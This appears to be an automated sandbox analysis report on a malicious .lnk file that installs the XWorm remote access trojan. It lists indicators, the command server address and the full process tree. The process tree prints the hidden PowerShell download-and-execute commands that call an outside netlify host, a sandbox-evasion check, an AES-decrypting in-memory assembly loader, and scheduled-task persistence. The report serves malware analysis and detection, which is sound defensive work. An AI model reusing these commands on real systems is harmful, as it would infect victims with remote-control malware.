Analysis

  • user interaction
    yes
  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260513-en
  • resource tags

    arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    06/06/2026, 04:29

General

  • Target
    source.txt.lnk
  • Size 2KB
  • Sample260606-e39m3ahy3w
  • SHA256 47d4598feab8c5f558273ce041a121a5850d0e693b2d622297873429bd8a4966
  • MD5 SHA1 SHA512 TLSH

Malware Config

Extracted

Family
  • xworm

Version
  • 5.0

C2
  • bunch-brooklyn.with.playit.plus:5455

Mutex
  • 0wEllBWOXJQvBsQd

Attributes
  • install_file

    USB.exe

aes.plain

Signatures

  • Family: Xworm

    Xworm is a remote access trojan written in C#.

  • Detect Xworm Payload 1 IoCs
  • Badlisted process makes network request 5 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry class 2 IoCs
  • Opens file in notepad (likely ransom note) 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\source.txt.lnk
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1520
    • C:\WINDOWS\system32\cmd.exe
      "C:\WINDOWS\system32\cmd.exe" /c powershell -w hidden -c "$ProgressPreference='SilentlyContinue';IWR 'https://adorable-buttercream-eaefd6.netlify.app/working.vbs' -OutFile 'C:\Users\Admin\AppData\Local\Temp\working.vbs';Start-Process wscript.exe -ArgumentList '//nologo','C:\Users\Admin\AppData\Local\Temp\working.vbs' -WindowStyle Hid
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1836
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -w hidden -c "$ProgressPreference='SilentlyContinue';IWR 'https://adorable-buttercream-eaefd6.netlify.app/working.vbs' -OutFile 'C:\Users\Admin\AppData\Local\Temp\working.vbs';Start-Process wscript.exe -ArgumentList '//nologo','C:\Users\Admin\AppData\Local\Temp\working.vbs' -WindowStyle Hid
        3⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2860
        • C:\Windows\system32\wscript.exe
          "C:\Windows\system32\wscript.exe" //nologo C:\Users\Admin\AppData\Local\Temp\working.vbs
          4⤵
          • Modifies registry class
          • Suspicious use of WriteProcessMemory
          PID:3792
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -NoP -Ep Bypass -c "$ProgressPreference='SilentlyContinue'; IWR 'https://adorable-buttercream-eaefd6.netlify.app/RASoptimizerinstaller.bat' -OutFile 'C:\Users\Admin\AppData\Local\Temp\u.bat' -UseBasicParsing; & 'C:\Users\Admin\AppData\Local\Temp\u.bat'"
            5⤵
            • Badlisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:4368
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\u.bat""
              6⤵
              • Suspicious use of WriteProcessMemory
              PID:3744
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell -NoLogo -NoProfile -Command "if((Get-CimInstance Win32_VideoController | Where-Object {$_.Name -like '*Microsoft Remote Display Adapter*'}) -or ([math]::Round((Get-CimInstance Win32_ComputerSystem).TotalPhysicalMemory/1GB) -lt 3)){exit 1}"
                7⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:3140
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                \Windows\System32\WindowsPowerShell\v1.0\powershell.exe -noprofile -ep bypass -command function yQLzskBbeqMKE($asjkfjkasf){ $mnbvcxzqwert=[System.Security.Cryptography.SymmetricAlgorithm]::Create('AES'); $mnbvcxzqwert.Mode=1; $mnbvcxzqwert.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $mnbvcxzqwert.Key=[Convert]::FromBase64String('vQKm+WD9FvCi7dWt+nrnJyX+TDPXRF4tm6Eyl2TnN/E='); $mnbvcxzqwert.IV=[Convert]::FromBase64String('htjOxBTDg/SqksjlCbHUoA=='); $poiuytrewq=$mnbvcxzqwert.CreateDecryptor(); $lkjhgfdsaz=$poiuytrewq.TransformFinalBlock($asjkfjkasf, 0, $asjkfjkasf.Length); $poiuytrewq.Dispose(); $mnbvcxzqwert.Dispose(); $lkjhgfdsaz;}function KNXajKGQbosaRWji($qwertyuiop,$zxcvbnmasd){ $fghjklpoiu=[System.Reflection.Assembly]::Load([byte[]]$qwertyuiop); $rtyuioasdfg=$fghjklpoiu.EntryPoint; $rtyuioasdfg.Invoke($null, $zxcvbnmasd);}$vbnmghjkl='C:\Users\Admin\AppData\Local\Temp\u.bat';$host.UI.RawUI.WindowTitle = $vbnmghjkl;$wertyuioplk=[System.IO.File]::ReadAllText($vbnmghjkl).Split([Environment]::NewLine);foreach ($cxzmlkjhgf in $wertyuioplk) { if ($cxzmlkjhgf.StartsWith(':: ')) { $nbvcxyzaqw=$cxzmlkjhgf.Substring(3); break; }}$pasdfghjklo = $nbvcxyzaqw -split '\\';$qazwsxedcrf=yQLzskBbeqMKE ([Convert]::FromBase64String($pasdfghjklo[0]));KNXajKGQbosaRWji $qazwsxedcrf $null;$rfvtgbyhnuj=yQLzskBbeqMKE ([Convert]::FromBase64String($pasdfghjklo[1]));KNXajKGQbosaRWji $rfvtgbyhnuj (,[string[]] (''));
                7⤵
                • Badlisted process makes network request
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: AddClipboardFormatListener
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of SetWindowsHookEx
                • Suspicious use of WriteProcessMemory
                PID:2212
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command " $Action = New-ScheduledTaskAction -Execute 'conhost.exe' -Argument '--headless " powershell -NoProfile -WindowStyle Hidden -c \"iex([System.Environment]::GetEnvironmentVariable(''NDEG''))\""'; $Trigger = New-ScheduledTaskTrigger -AtLogon; $Settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0; Register-ScheduledTask -TaskName 'MiscrosoftUpdater' -Action $Action -Trigger $Trigger -Settings $Settings -RunLevel Highest -Force;"
                  8⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:4352
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  "powershell.exe" -w hidden -Command "Get-WmiObject -Namespace root/SecurityCenter2 -Class AntiVirusProduct | Select-Object -ExpandProperty displayName"
                  8⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2996
          • C:\Windows\system32\NOTEPAD.EXE
            "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\AppData\Local\Temp\RAS_Optimizer_Patched.txt
            5⤵
            • Opens file in notepad (likely ransom note)
            PID:2220
  • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\MiniSearchHost.exe
    "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\MiniSearchHost.exe" -ServerName:MiniSearchUI.AppXj3y73at8fy1htwztzxs68sxx1v7cksp7.mca
    1⤵
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    PID:3748

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        powershell.exe.log

        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 3KB
        • SHA256 e336a593bd31921c46757a88a99759f6a33854d0c8b854c0c8f118e5cede1ea1
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 28be1f023974ca3dfe94abc2d2d1a3559f16dac7fc20731c37c4d0c102c32cc1
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 4acad63d25c1611aa21d37f4ea1ed92364ba987ad43358c45342b77cec192e44
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 74c54ceaa1c610942e7643e56e7f1a0976287ca3f8ab3026f9ba68a2ddea1fd4
        • MD5 SHA1 SHA512 TLSH

        SearchHoverUnifiedTileModelCache.dat

        • Path C:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TempState\SearchHoverUnifiedTileModelCache.dat
        • Size 20KB
        • SHA256 35ba39b01c4d564a467e4571cc5fb2df28313a4a6ee7f2b7399da8e44c33f2cf
        • MD5 SHA1 SHA512 SSDEEP TLSH

        SearchHoverUnifiedTileModelCache.dat

        • Path C:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TempState\SearchHoverUnifiedTileModelCache.dat
        • Size 21KB
        • SHA256 21f357df00afc176bbdc46e253296335e74868299487d6d3174c59df4cc367d9
        • MD5 SHA1 SHA512 SSDEEP TLSH

        RAS_Optimizer_Patched.txt

        • Path C:\Users\Admin\AppData\Local\Temp\RAS_Optimizer_Patched.txt
        • Size 42B
        • SHA256 9809ad6b1768b816e9a815678925e28318034f2698f723176666a2358480467a
        • MD5 SHA1 SHA512

        __PSScriptPolicyTest_isrjes4y.ckt.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_isrjes4y.ckt.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        u.bat

        • Path C:\Users\Admin\AppData\Local\Temp\u.bat
        • Size 11.1MB
        • SHA256 67e7bfdad38e31cc03ad41b1ed79fb71ee4eca409b277d482991dd34f9a14cfd
        • MD5 SHA1 SHA512 SSDEEP TLSH

        working.vbs

        • Path C:\Users\Admin\AppData\Local\Temp\working.vbs
        • Size 725B
        • SHA256 fcbe0711ebd173e6e15e8e6e0fb42b924fb9a8333d19c704e15d6baef2892c84
        • MD5 SHA1 SHA512 TLSH

        memory/2212-98-0x000001A155410000-0x000001A155416000-memory.dmp

        memory/2212-97-0x000001A1553C0000-0x000001A15540E000-memory.dmp

        memory/2212-53-0x000001A13CA20000-0x000001A13CDD2000-memory.dmp

        memory/2212-96-0x000001A118E40000-0x000001A118E50000-memory.dmp

        memory/2212-54-0x000001A154F60000-0x000001A15539C000-memory.dmp

        memory/2860-9-0x00000212CBBD0000-0x00000212CBBE0000-memory.dmp

        memory/2860-1-0x00000212CBBD0000-0x00000212CBBE0000-memory.dmp

        memory/2860-8-0x00000212E78E0000-0x00000212E7902000-memory.dmp

        memory/2860-0-0x00000212CBBD0000-0x00000212CBBE0000-memory.dmp

        memory/3140-42-0x000001B4F8B80000-0x000001B4F8B8A000-memory.dmp

        memory/3140-44-0x000001B4F8E00000-0x000001B4F8E24000-memory.dmp

        memory/3140-43-0x000001B4F8E00000-0x000001B4F8E2A000-memory.dmp

        memory/3140-41-0x000001B4F8BC0000-0x000001B4F8C73000-memory.dmp

        memory/3140-40-0x000001B4F8BA0000-0x000001B4F8BBC000-memory.dmp

        memory/4352-74-0x00000146ABF60000-0x00000146ABF7C000-memory.dmp